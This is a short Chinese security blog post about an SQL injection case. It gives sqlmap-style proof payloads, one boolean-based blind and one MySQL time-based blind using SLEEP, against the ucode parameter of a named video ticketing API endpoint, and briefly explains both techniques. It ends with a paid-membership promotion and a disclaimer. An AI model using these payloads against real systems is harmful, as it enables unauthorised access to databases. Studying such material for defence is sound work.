文章总结： 本文分析一个典型SQL注入漏洞案例，展示针对腾讯视频票务API接口的两种盲注技术：布尔盲注通过构造逻辑表达式改变WHERE/HAVING子句判断，时间盲注利用SLEEP函数通过响应延迟枚举数据。文档包含具体Payload示例并附带知识星球推广内容。 综合评分： 65 文章分类： WEB安全,漏洞分析,渗透测试,实战经验

一个典型的sqli

原创

whoami whoami

迪哥讲事

2026年6月10日 11:00 四川

在小说阅读器读本章

去阅读

正文

一个典型的sqli

payload如下:

http://ticketapi.video.qq.com/get_bonus?otype=json&callback=jQuery19102120662210509181_1450691532464&low_login=1&c_id=1&ucode=asd&c_from=1&g_tk=932252050&_=1450691532477

漏洞证明：

---
Parameter: ucode (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: otype=json&callback=jQuery19102120662210509181_1450691532464&low_login=1&c_id=1&ucode=-5562' OR 5712=5712 AND 'qIqO'='qIqO&c_from=1&g_tk=932252050&_=1450691532477
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: otype=json&callback=jQuery19102120662210509181_1450691532464&low_login=1&c_id=1&ucode=asd' AND (SELECT * FROM (SELECT(SLEEP(5)))yOGi) AND 'WuPe'='WuPe&c_from=1&g_tk=932252050&_=1450691532477

~

这里采用了两种注入方式:

注入类型：

1.布尔盲注

ucode=-5562' OR 5712=5712 AND 'qIqO'='qIqO 说明服务端把 ucode 拼接进 SQL 字符串，攻击者可改变 WHERE/HAVING 判断逻辑。

2.时间盲注

ucode=asd' AND (SELECT * FROM (SELECT(SLEEP(5)))yOGi) AND 'WuPe'='WuPe 说明即使页面无明显回显，也能通过响应延迟逐步枚举数据库信息。

请注意这里的时间盲注,这里采用的是嵌入式的语句

如果你是一个长期主义者，欢迎加入我的知识星球，本星球日日更新,包含号主大量一线实战,全网独一无二，微信识别二维码付费即可加入，如不满意，72 小时内可在 App 内无条件自助退款

往期回顾

#

如何利用ai辅助挖漏洞

#

如何在移动端抓包-下

#

如何绕过签名校验

#

一款bp神器

挖掘有回显ssrf的隐藏payload

ssrf绕过新思路

一个辅助测试ssrf的工具

dom-xss精选文章

年度精选文章

Nuclei权威指南-如何躺赚

漏洞赏金猎人系列-如何测试设置功能IV

漏洞赏金猎人系列-如何测试注册功能以及相关Tips‍

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：迪哥讲事 whoami whoami《一个典型的sqli》